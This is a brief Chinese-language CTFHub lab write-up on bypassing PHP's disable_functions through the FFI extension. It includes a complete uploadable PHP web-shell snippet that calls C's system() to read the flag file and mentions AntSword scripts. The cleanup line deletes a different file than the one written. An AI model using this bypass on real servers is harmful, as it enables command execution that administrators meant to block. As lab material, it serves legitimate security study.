CTHHUB技能树 FFI
在以前如果我们想要在 php中应用c语言的库,我们需要用c语言写 wrapper,把他们包装成扩展,在php7.4版本中,引入了一个扩展:PHP FFI 提供了高级语言的相互调用,或者说就是让我们在 php 里面。调用 c代码的技术。
这里面就存在安全漏洞,我们可以利用 FFI扩展 来执行 c的函数,来达到绕过disable_function的目的
FFI的使用只需要声明和调用两步
声明FFI,使用c语言的system函数
$ffi = FFI::cdef("int system(const char *command);");
调用创建的函数
$ffi->system("tac /flag > /tmp/hcj.txt");
做题步骤
上传php文件
<?php
$ffi = FFI::cdef("int system(const char *command);");//声明FFI
$ffi->system("tac /flag > /tmp/hcj");//执行命令,读取flag
echo file_get_contents("/tmp/hcj");//输出flag
@unlink("/tmp/123");//删除 文件
访问 .php即可获得 flag
也可以直接使用 蚁剑的脚本 直接访问 flag